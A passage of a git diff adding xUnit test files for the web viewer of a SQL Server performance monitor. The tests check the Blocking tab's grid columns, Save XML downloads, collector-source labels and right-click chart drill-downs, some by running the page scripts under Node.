+    [Theory]
+    [InlineData("BLOCKING_COLUMNS", "get_blocking")]
+    [InlineData("BPR_COLUMNS", "get_blocked_process_xml")]
+    public void EveryColumnKeyIsAFieldTheReadReturns(string constName, string tool)
+    {
+        var keys = Keys(constName);
+        var fields = Projection(tool);
+        Assert.NotEmpty(fields);
+        // The Save XML button column has no field of its own: its key is the XML field plus "_save".
+        var own = keys.Where(k => !k.EndsWith("_save", StringComparison.Ordinal)).ToList();
+        Assert.Empty(own.Except(fields));
+        Assert.Equal(keys.Count, keys.Distinct().Count());
+    }
+
+    [Fact]
+    public void TheBlockingGridShowsTheDesktopColumnsInTheDesktopOrderUnderTheDesktopHeaders()
+    {
+        Assert.Equal(new[]
+        {
+            "event_time", "blocked_sql_text", "blocking_sql_text", "source", "database_name", "blocked_spid", "blocking_spid",
+            "wait_time_ms", "wait_resource", "lock_mode", "blocked_status", "blocking_status", "blocked_isolation_level",
+            "blocking_isolation_level", "blocked_transaction_name", "blocked_priority", "blocked_transaction_count",
+            "blocked_log_used", "blocked_login_name", "blocked_host_name", "blocked_client_app", "blocking_login_name",
+            "blocking_host_name", "blocking_client_app", "contentious_object",
+        }, Keys("BLOCKING_COLUMNS"));
+        Assert.Equal(new[]
+        {
+            "Event Time", "Blocked SQL", "Blocking SQL", "Source", "Database", "Blocked SPID", "Blocking SPID", "Wait Time",
+            "Wait Resource", "Lock Mode", "Blocked Status", "Blocking Status", "Blocked Isolation", "Blocking Isolation",
+            "Blocked Tran", "Blocked Priority", "Blocked Tran Count", "Blocked Log Used", "Blocked Login", "Blocked Host",
+            "Blocked App", "Blocking Login", "Blocking Host", "Blocking App", "Object",
+        }, Labels("BLOCKING_COLUMNS"));
+    }
+
+    [Fact]
+    public void TheBlockedProcessReportGridHasTheDesktopColumnsTheReadReturns_AndASaveXmlColumn()
+    {
+        Assert.Equal(
+            new[] { "event_time", "blocked_process_report_xml_save", "database_name", "blocked_spid", "blocking_spid", "wait_time_ms", "blocked_process_report_xml" },
+            Keys("BPR_COLUMNS"));
+        Assert.Equal(new[] { "Event Time", "XML", "Database", "Blocked SPID", "Blocking SPID", "Wait Time", "Report" }, Labels("BPR_COLUMNS"));
+    }
+
+    [Fact]
+    public void TheWideBlockingGridUsesColumnGroups_AndEveryGroupedColumnNamesAKnownGroup()
+    {
+        var tab = Tab();
+        Assert.Contains("BLOCKING_GROUPS", tab);
+        var groups = Regex.Match(tab, "const BLOCKING_GROUPS = \\{ groups: \\[([^\\]]+)\\]").Groups[1].Value;
+        var named = Regex.Matches(groups, "\"([^\"]+)\"").Select(m => m.Groups[1].Value).ToHashSet();
+        var used = Regex.Matches(ConstBody("BLOCKING_COLUMNS"), "group: \"([^\"]+)\"").Select(m => m.Groups[1].Value).ToHashSet();
+        Assert.NotEmpty(used);
+        Assert.Empty(used.Except(named));
+    }
+
+    [Fact]
+    public void TheDeadlockGraphDownloadsAsXdl_AndTheReportAsXml_ThroughTheSharedDownloadHelper()
+    {
+        var tab = Tab();
+        Assert.Contains("import { downloadText } from \"../grid-tools.js\";", tab);
+        Assert.Contains("\".xdl\"", tab);
+        Assert.Contains("\"blocked_process_\" + fileStamp(r.event_time) + \".xml\"", tab);
+        Assert.Contains("\"deadlock_\" + fileStamp(r.deadlock_time) + \".xdl\"", tab);
+        Assert.Contains("r.deadlock_graph_xml_truncated === true", tab);
+        Assert.Contains("deadlock_graph_xml_truncated", Source());
+    }
+}
diff --git a/Darling/Darling.Tests/WebBlockingSaveXmlBehaviourTests.cs b/Darling/Darling.Tests/WebBlockingSaveXmlBehaviourTests.cs
new file mode 100644
index 0000000000..2712e6fffc
--- /dev/null
+++ b/Darling/Darling.Tests/WebBlockingSaveXmlBehaviourTests.cs
@@ -0,0 +1,104 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What the Save XML buttons on the web Blocking tab do, from the shipped <c>server-tabs.js</c> and <c>grid-tools.js</c> run under
+/// Node (<c>web-blocking-save-xml-harness.mjs</c>) against scripted reads: the Blob's type, text and file name for a report (.xml)
+/// and a deadlock graph (.xdl), a cut graph disabling its button, and a row with no XML. Node is skipped when it is not installed.
+/// </summary>
+public sealed class WebBlockingSaveXmlBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-blocking-save-xml-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the save-xml harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the save-xml harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            var result = doc.RootElement.Clone();
+            Assert.Empty(result.GetProperty("rejections").EnumerateArray());
+            return result;
+        }
+    }
+
+    private static string[] Strings(JsonElement array) => array.EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void SaveXml_DownloadsABlobWithTheRightNameAndType_ForAReportAndADeadlockGraph()
+    {
+        var r = Run("save");
+        var downloads = r.GetProperty("downloads").EnumerateArray().ToArray();
+        Assert.Equal(2, downloads.Length);
+        Assert.Equal("blocked_process_20260701_110203.xml", downloads[0].GetProperty("name").GetString());
+        Assert.Equal("<blocked-process-report/>", downloads[0].GetProperty("text").GetString());
+        Assert.Equal("deadlock_20260701_100005.xdl", downloads[1].GetProperty("name").GetString());
+        Assert.Equal("<deadlock-list><deadlock/></deadlock-list>", downloads[1].GetProperty("text").GetString());
+        Assert.All(downloads, d => Assert.StartsWith("application/xml", d.GetProperty("type").GetString()));
+        // The rows already carry the XML: saving makes no extra read.
+        Assert.Equal(2, r.GetProperty("fetches").GetInt32());
+        Assert.False(r.GetProperty("bprDisabledBefore").GetBoolean());
+    }
+
+    [Fact]
+    public void TheGridsShowTheDesktopHeaders_WithASaveXmlColumn()
+    {
+        var r = Run("save");
+        Assert.Equal(new[] { "Event Time", "XML", "Database", "Blocked SPID", "Blocking SPID", "Wait Time", "Report" }, Strings(r.GetProperty("bprHeaders")));
+        Assert.Contains("XML", Strings(r.GetProperty("deadlockHeaders")));
+    }
+
+    [Fact]
+    public void ACutDeadlockGraph_DisablesSave_AndSaysWhy_AndDownloadsNothing()
+    {
+        var r = Run("truncated");
+        Assert.True(r.GetProperty("disabled").GetBoolean());
+        Assert.False(r.GetProperty("hasClick").GetBoolean());
+        Assert.Contains("sent only a preview of the XML", r.GetProperty("title").GetString());
+        Assert.Equal(0, r.GetProperty("downloads").GetInt32());
+    }
+
+    [Fact]
+    public void ARowWithNoXml_HasADisabledSaveButton()
+    {
+        var r = Run("noxml");
+        Assert.True(r.GetProperty("disabled").GetBoolean());
+        Assert.False(r.GetProperty("hasClick").GetBoolean());
+    }
+}
diff --git a/Darling/Darling.Tests/WebBlockingSourceBehaviourTests.cs b/Darling/Darling.Tests/WebBlockingSourceBehaviourTests.cs
new file mode 100644
index 0000000000..4932610af8
--- /dev/null
+++ b/Darling/Darling.Tests/WebBlockingSourceBehaviourTests.cs
@@ -0,0 +1,110 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5244: the web viewer's blocking panels say which collector answered (<c>web-blocking-source-harness.mjs</c>, the shipped
+/// <c>panels.js</c>, <c>util.js</c> and <c>pages/server-tabs.js</c> run under Node with a stub fetch). get_blocking_trend and
+/// get_blocking_stats already carry a top-level <c>source</c> ("blocked-process-report" or "DMV snapshot", null with no rows); the
+/// panels that draw them show it as a line above the chart: Blocking Events on the Overview and Blocking tabs, and Blocking Severity.
+/// No other panel gets one, and no line is drawn when the answer has no rows or carries no recognized source. Node is skipped when
+/// it is not installed, as <see cref="WebDatabaseFilterChipsBehaviourTests"/> does.
+/// </summary>
+public sealed class WebBlockingSourceBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-blocking-source-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(60000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the blocking source harness did not finish in 60 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the blocking source harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            var result = doc.RootElement.Clone();
+            Assert.Empty(result.GetProperty("rejections").EnumerateArray());
+            return result;
+        }
+    }
+
+    /// <summary>The source lines every panel with that title drew, one entry per panel.</summary>
+    private static string[][] Lines(JsonElement r, string title) =>
+        r.GetProperty("panels").EnumerateArray()
+            .Where(p => p.GetProperty("title").GetString() == title)
+            .Select(p => p.GetProperty("strips").EnumerateArray().Select(s => s.GetString()!).ToArray())
+            .ToArray();
+
+    [Theory]
+    [InlineData("xe", "Source: blocked-process-report")]
+    [InlineData("dmv", "Source: DMV snapshot")]
+    public void BlockingEventsAndSeverity_NameTheCollectorThatAnswered(string scenario, string expected)
+    {
+        var r = Run(scenario);
+
+        /* Blocking Events is on the Overview tab and the Blocking tab; Blocking Severity only on the Blocking tab. */
+        var events = Lines(r, "Blocking Events");
+        Assert.Equal(2, events.Length);
+        Assert.All(events, lines => Assert.Equal(new[] { expected }, lines));
+        var severity = Lines(r, "Blocking Severity");
+        Assert.Single(severity);
+        Assert.Equal(new[] { expected }, severity[0]);
+    }
+
+    [Theory]
+    [InlineData("zeroRows")]
+    [InlineData("envelope")]
+    [InlineData("noSource")]
+    [InlineData("other")]
+    public void NoRows_OrNoRecognizedSource_DrawsNoSourceLine(string scenario)
+    {
+        var r = Run(scenario);
+
+        Assert.All(r.GetProperty("panels").EnumerateArray(), p => Assert.Empty(p.GetProperty("strips").EnumerateArray()));
+    }
+
+    [Fact]
+    public void OnlyTheBlockingPanelsGetOne()
+    {
+        var r = Run("dmv");
+
+        var titles = r.GetProperty("panels").EnumerateArray()
+            .Where(p => p.GetProperty("strips").GetArrayLength() > 0)
+            .Select(p => p.GetProperty("title").GetString())
+            .ToArray();
+        Assert.Equal(new[] { "Blocking Events", "Blocking Events", "Blocking Severity" }, titles);
+    }
+}
diff --git a/Darling/Darling.Tests/WebChartAtTimeBehaviourTests.cs b/Darling/Darling.Tests/WebChartAtTimeBehaviourTests.cs
new file mode 100644
index 0000000000..40004b0ae1
--- /dev/null
+++ b/Darling/Darling.Tests/WebChartAtTimeBehaviourTests.cs
@@ -0,0 +1,458 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.IO;
+using System.Text.RegularExpressions;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A right-click on a server-tab line chart also offers the one item that matches the chart: Show Blocking at This Time
+/// on the blocking charts, Show Deadlocks at This Time on the deadlock charts, Show Active Queries at This Time on the
+/// rest (the desktop's chart drill-downs). Each item sets the server's custom range to the time of the drawn point
+/// nearest the click +- 30 minutes (the smallest range the picker allows), moves the hash to that tab and, once the router
+/// has built it, scrolls the item's own grid into view. These run the shipped <c>charts.js</c> under Node
+/// (<c>web-chart-at-time-harness.mjs</c>), and read <c>server-tabs.js</c> for the charts that must hand the server over
+/// and name their item, and for the grids the scroll looks for.
+/// </summary>
+[Trait("Cost", "Slow")]
+public sealed class WebChartAtTimeBehaviourTests
+{
+    private const long ClickedMs = 1767225900000; // 2026-01-01 00:05:00 UTC, the middle of the harness chart
+    private const long HalfMs = 30 * 60000;
+
+    private static JsonElement Run()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-chart-at-time-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped chart script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the chart at-time harness did not finish in 30 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the chart at-time harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n')[^1]);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string[] Strings(JsonElement e) => e.EnumerateArray().Select(x => x.GetString()!).ToArray();
+
+    private static JsonElement OneCall(JsonElement r, string name)
+    {
+        var calls = r.GetProperty(name);
+        Assert.Equal(1, calls.GetArrayLength());
+        return calls[0];
+    }
+
+    private static readonly string[] UsualItems = { "Copy Image", "Save Image As...", "Export Data to CSV..." };
+
+    [Theory]
+    [InlineData("rightClickItems", "Show Active Queries at This Time")]  // a chart that names no item: the default
+    [InlineData("unknownItemItems", "Show Active Queries at This Time")] // an item the page does not know: the default
+    [InlineData("blockingItems", "Show Blocking at This Time")]
+    [InlineData("deadlockItems", "Show Deadlocks at This Time")]
+    public void ARightClickOnAServerChart_OffersOnlyTheOneItemThatMatchesIt_AfterTheUsualOnes(string chart, string item)
+    {
+        // The desktop's chart drill-downs give each chart the one item that matches what it plots, not all three on every chart.
+        Assert.Equal(UsualItems.Append(item).ToArray(), Strings(Run().GetProperty(chart)));
+    }
+
+    [Theory]
+    [InlineData("queries", "#/server/A/cpu", "#/server/A/queries")]
+    [InlineData("blocking", "#/server/A/queries", "#/server/A/blocking")]
+    [InlineData("deadlocks", "#/server/A/blocking", "#/server/A/blocking")]
+    public void EachItem_AppliesTheClickedTimePlusOrMinusThirtyMinutes_ThenMovesToItsTab(string item, string hashBefore, string hashAfter)
+    {
+        var r = Run();
+        var call = OneCall(r, item);
+        Assert.Equal("A", call.GetProperty("server").GetString());
+        Assert.Equal(ClickedMs - HalfMs, call.GetProperty("startMs").GetInt64());
+        Assert.Equal(ClickedMs + HalfMs, call.GetProperty("endMs").GetInt64());
+        // The range is applied before the hash moves, so the tab is built under the new range.
+        Assert.Equal(hashBefore, call.GetProperty("hash").GetString());
+        if (item == "deadlocks") Assert.Equal(hashAfter, r.GetProperty("hashAfter").GetString());
+    }
+
+    [Fact]
+    public void EachItem_SetsTheRangeWithoutAPanelRedraw_AndRebuildsThroughTheRouter()
+    {
+        // The range picker sits in the page head, which only a full render rebuilds. A panel redraw would leave it on the old
+        // preset (the tab already open) or start reads the route change then aborts (another tab), so no item asks for one.
+        var r = Run();
+        foreach (var item in new[] { "queries", "blocking", "deadlocks" })
+            Assert.False(OneCall(r, item).GetProperty("redraw").GetBoolean(), item);
+        // Another tab: the hash move fires the router's own hashchange, so no event is raised for it.
+        Assert.Equal(0, r.GetProperty("dispatchedOnTabChange").GetInt32());
+        // The tab already open: setting the same hash fires nothing, so the event is raised here, once.
+        Assert.Equal(1, r.GetProperty("dispatchedOnSameTab").GetInt32());
+    }
+
+    [Fact]
+    public void ARangeThePageRefuses_IsSaidOnTheChart_AndTheTabDoesNotMove()
+    {
+        var r = Run();
+        Assert.Equal("#/server/A/cpu", r.GetProperty("refusedHash").GetString());
+        Assert.Equal("The end cannot be in the future.", r.GetProperty("refusedStatus").GetString());
+    }
+
+    [Theory]
+    [InlineData("scrollQueries", 0, "Active Queries")]
+    [InlineData("scrollBlocking", 2, "Blocking")]
+    [InlineData("scrollDeadlocks", 3, "Deadlocks")]
+    public void EachItem_BringsItsOwnGridIntoView_OnceTheRouterHasBuiltTheTab(string scroll, int index, string title)
+    {
+        // The Blocking tab holds a Deadlocks chart (panel 1) and, further down, the Deadlocks grid (panel 3). The desktop's
+        // Deadlocks item opens its Deadlocks sub-tab, so the item must reach the grid, not the chart that shares its title;
+        // the Blocking item reaches the Blocking grid (2), not the Blocking Events chart (0).
+        var call = OneCall(Run(), scroll);
+        Assert.Equal(title, call.GetProperty("title").GetString());
+        Assert.Equal(index, call.GetProperty("index").GetInt32());
+        Assert.Equal("start", call.GetProperty("block").GetString());
+    }
+
+    [Fact]
+    public void TheScrollListener_RunsOnce_AndIsAddedOnlyOnceTheRangeIsTaken()
+    {
+        var r = Run();
+        // Three items ran, so a listener that outlived its hashchange would be left here (and scroll on every later tab click).
+        Assert.Equal(0, r.GetProperty("listenersLeft").GetInt32());
+        // A range the page refuses opens no tab, so nothing may be left waiting for one either.
+        Assert.Equal(0, r.GetProperty("refusedListeners").GetInt32());
+    }
+
+    [Fact]
+    public void TheGridEachItemScrollsTo_IsAPanelOfTheTabItOpens_AndTheDeadlocksGridSitsBelowItsChart()
+    {
+        var js = new[] { "Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js" };
+        var tabs = File.ReadAllText(PathTo(js.Concat(new[] { "pages", "server-tabs.js" }).ToArray()));
+        var charts = File.ReadAllText(PathTo(js.Concat(new[] { "charts.js" }).ToArray()));
+
+        // A tab's source: from its `id: "<id>",` line to the next tab's. The first match is the SQL Server registry's.
+        string Tab(string id)
+        {
+            var open = Regex.Match(tabs, @"\n  \{\r?\n    id: """ + id + @""",");
+            Assert.True(open.Success, id);
+            var next = Regex.Match(tabs[(open.Index + open.Length)..], @"\n  \{\r?\n    id: """);
+            return next.Success ? tabs.Substring(open.Index, open.Length + next.Index) : tabs[open.Index..];
+        }
+
+        // The panel titles charts.js names are the grids the tabs really have: a rename would leave the scroll finding nothing.
+        Assert.Contains("panel: \"Active Queries\"", charts);
+        // The Queries tab builds the grid through activeQueriesPanel (#5235), which holds the table().
+        Assert.Contains("activeQueriesPanel(server, ctx)", Tab("queries"));
+        Assert.Matches(@"table\(\s*""Active Queries"",", tabs);
+        var blocking = Tab("blocking");
+        Assert.Contains("panel: \"Blocking\"", charts);
+        Assert.Matches(@"table\(\s*""Blocking"",", blocking);
+        Assert.Contains("panel: \"Deadlocks\"", charts);
+        // Both the chart and the grid are titled "Deadlocks", and the scroll takes the later one, so the grid must be the later.
+        var chart = blocking.IndexOf("line(\"Deadlocks\",", StringComparison.Ordinal);
+        var grid = Regex.Match(blocking, @"table\(\s*""Deadlocks"",");
+        Assert.True(chart >= 0 && grid.Success && grid.Index > chart, "the Deadlocks grid must come after the Deadlocks chart on the Blocking tab");
+    }
+
+    [Fact]
+    public void TheShippedPicker_TakesTheTimePlusOrMinusThirtyMinutes_AsItsSmallestRange()
+    {
+        var r = Run();
+        Assert.True(r.GetProperty("shippedRangeTaken").GetBoolean(), r.GetProperty("shippedRangeError").ToString());
+    }
+
+    [Fact]
+    public void AClickPastTheEdgesOfThePlot_UsesTheChartsOwnFirstAndLastTime()
+    {
+        var r = Run();
+        Assert.Equal(1767225600000, r.GetProperty("clampLeft").GetInt64());  // 00:00
+        Assert.Equal(1767226200000, r.GetProperty("clampRight").GetInt64()); // 00:10
+    }
+
+    [Fact]
+    public void AClickBesideADrawnPoint_UsesThatPointsTime_NotTheRawPointerTime()
+    {
+        // Two points only, at 00:00 and 00:10. The hover tooltip snaps to the nearer one, and so does the menu, so a click a
+        // pixel or two beside a one-bucket spike on a wide chart still opens the hour that holds the spike.
+        var r = Run();
+        Assert.Equal(1767225600000, r.GetProperty("sparseNearLeft").GetInt64());  // 00:00, drawn at the left edge
+        Assert.Equal(1767226200000, r.GetProperty("sparseNearRight").GetInt64()); // 00:10, drawn at the right edge
+        // The exact middle is equidistant from both: either point, never the 00:05 that no point holds.
+        Assert.Contains(r.GetProperty("sparseMiddle").GetInt64(), new[] { 1767225600000, 1767226200000 });
+    }
+
+    [Fact]
+    public void AClickInTheLastHalfHour_ShiftsTheHourToEndNow_SoThePageTakesIt()
+    {
+        var call = Run().GetProperty("nearNow");
+        var now = 1767225600000 + 7 * 60000;
+        Assert.Equal(now, call.GetProperty("endMs").GetInt64());
+        Assert.Equal(now - 2 * HalfMs, call.GetProperty("startMs").GetInt64());
+    }
+
+    [Fact]
+    public void TheServerNameIsEncodedInTheHash()
+    {
+        Assert.Equal("#/server/Prod%2FOne%20%231/queries", Run().GetProperty("encodedHash").GetString());
+    }
+
+    [Fact]
+    public void AChartWithoutAtTime_AndAMenuOpenedFromTheButton_ShowNoneOfTheItems()
+    {
+        var r = Run();
+        Assert.Equal(UsualItems, Strings(r.GetProperty("noAtTimeItems")));
+        Assert.Equal(UsualItems, Strings(r.GetProperty("buttonItems")));
+    }
+
+    [Fact]
+    public void ARightClickOffThePlot_OffersNoTimeItems()
+    {
+        // The listener sits on the whole chart box, but only the drawing names a time. The legend, the status line, the open
+        // menu and the button (Shift+F10 on it raises a contextmenu with the button as the target) would map their x through
+        // the plot and open an hour the user never pointed at.
+        var r = Run();
+        Assert.Equal(UsualItems, Strings(r.GetProperty("offPlotLegendItems")));
+        Assert.Equal(UsualItems, Strings(r.GetProperty("offPlotStatusItems")));
+        Assert.Equal(UsualItems, Strings(r.GetProperty("offPlotButtonItems")));
+        // The menu from a click on the plot held the usual three and its one at-this-time item before it was right-clicked itself.
+        Assert.Equal(UsualItems.Length + 1, r.GetProperty("offPlotMenuBefore").GetInt32());
+        Assert.Equal(UsualItems, Strings(r.GetProperty("offPlotMenuItems")));
+    }
+
+    /// <summary>A chart drawn at a measured width (1,600 px, off the 1,000 px default, #5586) maps a right-click to the same
+    /// time, and the wait item still names the series drawn nearest the click.</summary>
+    [Fact]
+    public void AChartDrawnAtAMeasuredWidth_MapsTheRightClickToTheSameTimeAndSeries()
+    {
+        var r = Run();
+        Assert.Equal(1600, r.GetProperty("measuredWidth").GetDouble());
+        Assert.Equal(ClickedMs, r.GetProperty("measuredMiddle").GetInt64());
+        Assert.Contains("Show Queries With WAIT_A at This Time", Strings(r.GetProperty("measuredWaitItems")));
+    }
+
+    [Fact]
+    public void AMenuHeldOpenAcrossTheMinutePollRebuild_KeepsItsClickedTime()
+    {
+        var r = Run();
+        Assert.Equal(UsualItems.Length + 1, r.GetProperty("rebuiltItems").GetArrayLength());
+        Assert.Equal(ClickedMs, r.GetProperty("rebuiltMiddle").GetInt64());
+    }
+
+    [Fact]
+    public void EveryServerTabLineChartHandsItsServerOver_AndNoFinOpsOrCustomViewChartDoes()
+    {
+        var tabs = File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js"));
+        var calls = Regex.Matches(tabs, @"zoomableLineChart\(\{");
+        Assert.Equal(9, calls.Count);
+        var handed = Regex.Matches(tabs, @"zoomableLineChart\(\{\s*atTime: \{ server(, item: ""wait"")? \},");
+        Assert.Equal(calls.Count, handed.Count);
+        // Only the wait trend chart names the wait item (#5235); every other direct chart keeps the default.
+        Assert.Single(Regex.Matches(tabs, @"atTime: \{ server, item: ""wait"" \}"));
+
+        var panels = File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "panels.js"));
+        Assert.Contains("atTime: desc.atTime || null,", panels);
+
+        foreach (var other in new[] { new[] { "pages", "finops", "version-store.js" }, new[] { "compose.js" }, new[] { "pages", "finops", "utilization.js" } })
+        {
+            var text = File.ReadAllText(PathTo(new[] { "Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js" }.Concat(other).ToArray()));
+            Assert.DoesNotContain("atTime", text);
+        }
+    }
+
+    /// <summary>
+    /// The bracketed span that opens at <paramref name="open"/> ("(" or "{"), through its matching close. A bracket inside a
+    /// "double-quoted" string (an empty-state sentence) does not count.
+    /// </summary>
+    private static string Balanced(string text, int open)
+    {
+        var depth = 0;
+        for (var i = open; i < text.Length; i++)
+        {
+            var c = text[i];
+            if (c == '"')
+            {
+                for (i++; text[i] != '"'; i++)
+                {
+                    if (text[i] == '\\') i++;
+                }
+            }
+            else if (c is '(' or '{')
+            {
+                depth++;
+            }
+            else if (c is ')' or '}')
+            {
+                depth--;
+                if (depth == 0) return text[open..(i + 1)];
+            }
+        }
+
+        throw new InvalidOperationException("no closing bracket after index " + open);
+    }
+
+    [Fact]
+    public void LineAndFanout_HandTheServerAndTheChartsItemOver_UnlessAPanelOptsOut()
+    {
+        // Most server-tab charts reach the menu through these two: line() (CPU, Memory, Blocking Events, Deadlocks, Lock Waits,
+        // tempdb) and fanout() (Current Waits, Blocking and Deadlock Severity, Query Duration, System Health). The nine direct
+        // zoomableLineChart calls are counted above; without this, deleting either hand-off passes every other case.
+        var tabs = File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js"));
+        Assert.Single(Regex.Matches(tabs, @"atTime: opts\.atTime === false \|\| !params \|\| !params\.server \? null : \{ server: params\.server, item: opts\.atTimeItem \|\| ""queries"" \}"));
+        Assert.Single(Regex.Matches(tabs, @"atTime: spec\.atTime === false \|\| !params \|\| !params\.server \? null : \{ server: params\.server, item: spec\.atTimeItem \|\| ""queries"" \}"));
+    }
+
+    [Fact]
+    public void EveryLineOnThePostgresRegistry_OptsOut_BecauseThatPageHasNoQueriesOrBlockingTab()
+    {
+        // The items open the SQL Server Queries and Blocking tabs. The PostgreSQL page has neither, so its one line chart (the
+        // Amazon Aurora CPU panel) passes atTime: false, and no PostgreSQL fanout draws a line.
+        var tabs = File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js"));
+        var pgStart = tabs.IndexOf("export const POSTGRES_TABS = [", StringComparison.Ordinal);
+        Assert.True(pgStart > 0, "the PostgreSQL tab registry moved");
+        var pg = tabs[pgStart..tabs.IndexOf("\n];", pgStart, StringComparison.Ordinal)];
+        var calls = Regex.Matches(pg, @"(?<![\w.])line\(");
+        Assert.True(calls.Count > 0, "the PostgreSQL registry draws no line() chart any more, so this pin has nothing to check");
+        foreach (Match call in calls)
+            Assert.Contains("atTime: false,", Balanced(pg, call.Index + "line".Length));
+        Assert.DoesNotContain("viz: \"line\"", pg);
+    }
+
+    [Fact]
+    public void TheBlockingAndDeadlockCharts_NameTheirOwnItem_AndNoOtherChartDoes()
+    {
+        // The desktop gives Blocking Events, Lock Waits and the blocking severity chart "Show Blocking at This Time", and the
+        // deadlock charts "Show Deadlocks at This Time". Every other server-tab line chart keeps the Active Queries default.
+        var tabs = File.ReadAllText(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js"));
+
+        // line() panels: Blocking Events and Deadlocks sit on both the Overview tab and the Blocking tab.
+        foreach (var (title, item, count) in new[] { ("Blocking Events", "blocking", 2), ("Deadlocks", "deadlocks", 2), ("Lock Waits", "blocking", 1) })
+        {
+            var calls = Regex.Matches(tabs, @"line\(""" + title + @""",");
+            Assert.Equal(count, calls.Count);
+            foreach (Match call in calls)
+                Assert.Contains($"atTimeItem: \"{item}\",", Balanced(tabs, call.Index + "line".Length));
+        }
+
+        // fanout() line specs: one read draws two charts, so each spec names its own item.
+        foreach (var (title, item) in new[] { ("Blocking Severity", "blocking"), ("Deadlock Severity", "deadlocks") })
+        {
+            var at = tabs.IndexOf($"title: \"{title}\",", StringComparison.Ordinal);
+            Assert.True(at > 0, title);
+            Assert.Contains($"atTimeItem: \"{item}\",", Balanced(tabs, tabs.LastIndexOf('{', at)));
+        }
+
+        // No other chart names one: 4 blocking charts and 3 deadlock charts, all counted above.
+        Assert.Equal(4, Regex.Matches(tabs, @"atTimeItem: ""blocking""").Count);
+        Assert.Equal(3, Regex.Matches(tabs, @"atTimeItem: ""deadlocks""").Count);
+    }
+
+    [Fact]
+    public void TheWaitTrendChart_OffersShowQueriesWithTheNearestWait()
+    {
+        // The item names the series drawn nearest the click at the nearest point (the desktop's GetNearestSeries), and applies the
+        // hour around that point, sets the server's wait filter and moves to the Queries tab.
+        var r = Run();
